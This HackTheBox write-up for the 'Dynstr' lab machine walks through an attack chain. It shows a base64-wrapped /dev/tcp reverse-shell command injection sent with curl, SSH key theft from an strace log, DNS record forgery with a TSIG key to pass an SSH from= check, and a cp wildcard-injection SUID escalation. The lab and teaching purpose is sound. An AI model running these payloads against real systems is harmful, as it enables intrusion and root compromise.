HTB: Dynstr Writeup

Dynstr - HackTheBox Writeup

Machine Information

AttributeDetails
NameDynstr
OSLinux
DifficultyMedium
PointsN/A
Release DateOctober 5, 2021
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ☆☆☆☆☆ (no CVE — custom application/config logic flaw)
  • CTF-like: ⭐⭐⭐☆☆

Summary

Dynstr exposes a blog for “Dyna DNS,” a Dynamic DNS provider whose update API mirrors the real no-ip.com /nic/update interface. The hostname parameter of that API is fed unsanitized into an nsupdate call on the backend, giving command injection and a www-data shell. From there, a leftover strace debug log inside another user’s home directory leaks an SSH private key for bindmgr — but authorized_keys restricts that key to connections originating from *.infra.dyna.htb. Because the box’s own BIND server trusts a TSIG key found in /etc/bind, forward and reverse DNS records can be forged to satisfy that source restriction, unlocking SSH as bindmgr. A NOPASSWD sudo rule then lets bindmgr run bindmgr.sh, a config-staging script that copies files with an unquoted cp .version * wildcard — a classic wildcard-injection primitive that plants a SUID root shell.

TL;DR: Command injection in the Dyna DNS update API (hostname param) → www-data shell → SSH private key for bindmgr leaked via a strace log → TSIG-key DNS forgery to satisfy the authorized_keys from= restriction → SSH as bindmgrcp wildcard injection in the NOPASSWD bindmgr.sh sudo rule → SUID root shell.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep first, then targeted service/version scan on what's open
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.X | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.X

Results:

PortServiceNotes
22OpenSSHstandard key-based/password auth
53ISC BINDauthoritative for the box’s internal DNS zones
80Apache httpdhosts the Dyna DNS blog + update API

Service Enumeration

The port 80 site is a blog for a fictional “Dyna DNS” dynamic-DNS provider. Its “Services” page documents an update API that is API-compatible with the real no-ip.com scheme:

http://<user>:<pass>@<host>/nic/update?hostname=<host>&myip=<ip>

The page also discloses working credentials for the demo API account, and references a supported domain (a *.dnsalias.htb-style zone) that the hostname parameter must resolve under.

Vulnerability Assessment

  • The /nic/update endpoint parses hostname and hands the leading label to an nsupdate invocation on the backend to add/update the DNS A record.
  • The handler does not sanitize that value before shelling out — a classic OS command injection surface (this class of bug maps to CWE-78: OS Command Injection), reachable pre-auth aside from the disclosed demo credentials.
  • Confirmed by sending a backtick-wrapped payload as the hostname label and observing outbound traffic on a listener, before moving to a full reverse shell payload.

Initial Foothold

Exploitation Path

The app splits hostname on the first dot and validates only the domain suffix against its supported zone list — the label before the dot is passed through to the shell unchecked. Backtick command substitution in that label executes arbitrary commands as the web service user.

# Base64-wrap the payload so it survives URL encoding cleanly
import base64
payload = base64.b64encode(b'bash -c "bash -i >&/dev/tcp/<VPN_IP>/4444 0>&1"').decode()
print(payload)
Terminal window
# hostname label = `echo <b64> | base64 -d | bash`.<supported-domain>
# The API credentials are the ones disclosed on the blog's Services page
curl -s "http://<api_user>:<api_pass>@10.10.11.X/nic/update?hostname=%60echo%20<B64_PAYLOAD>%7Cbase64%20-d%7Cbash%60.<supported-domain>&myip=<VPN_IP>"
Terminal window
# Catch the shell
nc -lvnp 4444

Once the callback lands, stabilize the TTY the usual way:

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm

This confirms code execution as www-data and gives a working interactive shell for further enumeration.


Privilege Escalation

www-data → bindmgr

Enumerating /home reveals a second unprivileged user alongside a service-style account, bindmgr, whose home directory contains a folder of leftover debug artifacts. One of those files is an strace output log — generated by someone debugging the SSH client or an automated job — that captured an SSH private key in plaintext as it was read off disk.

Terminal window
# Pull the leaked key out of the strace log
grep -A 30 "BEGIN OPENSSH PRIVATE KEY" strace-*.txt

Attempting to SSH in as bindmgr with the recovered key directly fails. Reading the corresponding authorized_keys entry shows why: it carries a from= restriction, which limits the key to connections whose reverse-DNS resolves under an internal zone (*.infra.dyna.htb-style).

Terminal window
# authorized_keys entry (paraphrased):
# from="*.infra.dyna.htb" ssh-rsa AAAA... bindmgr@dynstr

The box’s own BIND config in /etc/bind reveals a TSIG key file that grants dynamic-update rights over that internal zone — which is exactly the lever needed to satisfy the from= check, since the restriction is enforced via reverse-DNS lookup and nothing stops us from creating our own matching records.

Terminal window
# Use the TSIG key to add a forward + matching reverse record for our VPN IP
nsupdate -k /etc/bind/<tsig-key-file>
> update add attacker.infra.dyna.htb 86400 A <VPN_IP>
> update add <reversed-VPN-IP>.in-addr.arpa 300 PTR attacker.infra.dyna.htb
> send

With the forward/reverse pair forged, the from= restriction resolves our connecting host to *.infra.dyna.htb, and the leaked key is accepted:

Terminal window
ssh -i bindmgr_key bindmgr@10.10.11.X

Why this works: OpenSSH’s from= option in authorized_keys validates the client by resolving the connecting IP back to a hostname and matching it against the pattern — it trusts DNS. Because bindmgr (via the TSIG key) has legitimate dynamic-update rights over the exact zone the restriction checks against, DNS itself becomes a forgeable identity boundary.

bindmgr → root

sudo -l as bindmgr shows a NOPASSWD rule to run a config-staging script, bindmgr.sh, as root. The script stages files from the current directory into /etc/bind/named.bindmgr/ after a .version check, and does so with an unquoted, unanchored wildcard copy:

Terminal window
# relevant line inside bindmgr.sh (runs as root via sudo)
cp .version * /etc/bind/named.bindmgr/

Because * is expanded by the shell before cp ever sees it, filenames in the working directory can be crafted to inject cp flags rather than just filenames — the canonical cp wildcard injection primitive (GTFOBins-style argument smuggling).

Terminal window
# Stage a bumped .version so the script's version check passes
mkdir /tmp/stage && cd /tmp/stage
echo 99 > .version
# Drop bash into the staging dir and mark it setuid
cp /bin/bash .
chmod u+s bash
# This filename is parsed by `cp` as --preserve=mode, forcing it to
# keep the setuid bit on the copy instead of stripping it
touch -- '--preserve=mode'
# Trigger the NOPASSWD script; cp now runs as:
# cp .version bash --preserve=mode /etc/bind/named.bindmgr/
sudo /path/to/bindmgr.sh

Why this works: cp’s glob expansion happily includes a file literally named --preserve=mode as an argument, which cp parses as a flag rather than a filename. That forces the setuid bit on our planted bash binary to survive the copy into /etc/bind/named.bindmgr/, which is owned and executed in root’s context.

Terminal window
# Root shell
/etc/bind/named.bindmgr/bash -p
id
# uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root)

Attack Chain Summary

Dyna DNS blog (port 80) recon
→ command injection in /nic/update `hostname` param (nsupdate shell-out, unsanitized)
→ www-data reverse shell
→ strace debug log in bindmgr's home leaks bindmgr SSH private key
→ authorized_keys `from=*.infra.dyna.htb` blocks direct use of the key
→ TSIG key in /etc/bind used via nsupdate to forge forward+reverse DNS records
→ source restriction satisfied → SSH as bindmgr
→ sudo -l: NOPASSWD bindmgr.sh
→ cp wildcard injection (`--preserve=mode` trick) plants a SUID bash
→ root

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlDelivering the command-injection payload to /nic/update
python3 / base64Encoding the injected shell payload for safe transit through URL params
ncCatching the reverse shell
grepExtracting the leaked SSH key from the strace log
nsupdateBoth the injected primitive on the target and the TSIG-authenticated DNS forgery step
sshLateral movement as bindmgr
sudo -lEnumerating the NOPASSWD bindmgr.sh rule
cp (wildcard injection)Escalation via the bindmgr.sh staging script

Key Learnings

Techniques Practiced

  • OS command injection via unsanitized shell-out to a DNS update utility (CWE-78)
  • Reverse-shell delivery through URL/base64 payload encoding
  • Harvesting secrets leaked into debug/trace artifacts (strace logs)
  • Abusing DNS A/PTR records to defeat an SSH authorized_keys from= source restriction
  • TSIG-authenticated dynamic DNS updates (nsupdate -k)
  • cp wildcard injection to escalate a NOPASSWD sudo rule to a SUID root shell

Lessons Learned

  1. Any application feature that shells out to a system utility (nsupdate, dig, etc.) with user-controlled input needs the same input validation rigor as a raw command execution sink — splitting on a delimiter and validating only one half is not sanitization.
  2. Debug tooling (strace, ltrace, verbose logging) run against processes that touch key material will happily capture that key material in plaintext — treat trace output as sensitive by default and scrub it.
  3. SSH’s from= restriction is only as trustworthy as the DNS it resolves against. If the same host (or an account it controls) can also write to that DNS zone, the restriction is not a real boundary.
  4. Wildcard expansion in shell scripts that call cp/tar/rsync with * is a well-known privilege-escalation primitive — always fully qualify paths or use -- to stop flag injection in scripts that run with elevated privileges.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MrR3boot, Dynstr — Official HackTheBox Writeup, Document No. D21.100.134 (2021-10-05). Used here for conceptual/explanatory detail on the DNS-forgery mechanism and the cp wildcard-injection technique; all IPs, credentials, and command outputs in this writeup are from the author’s own run, not the official document.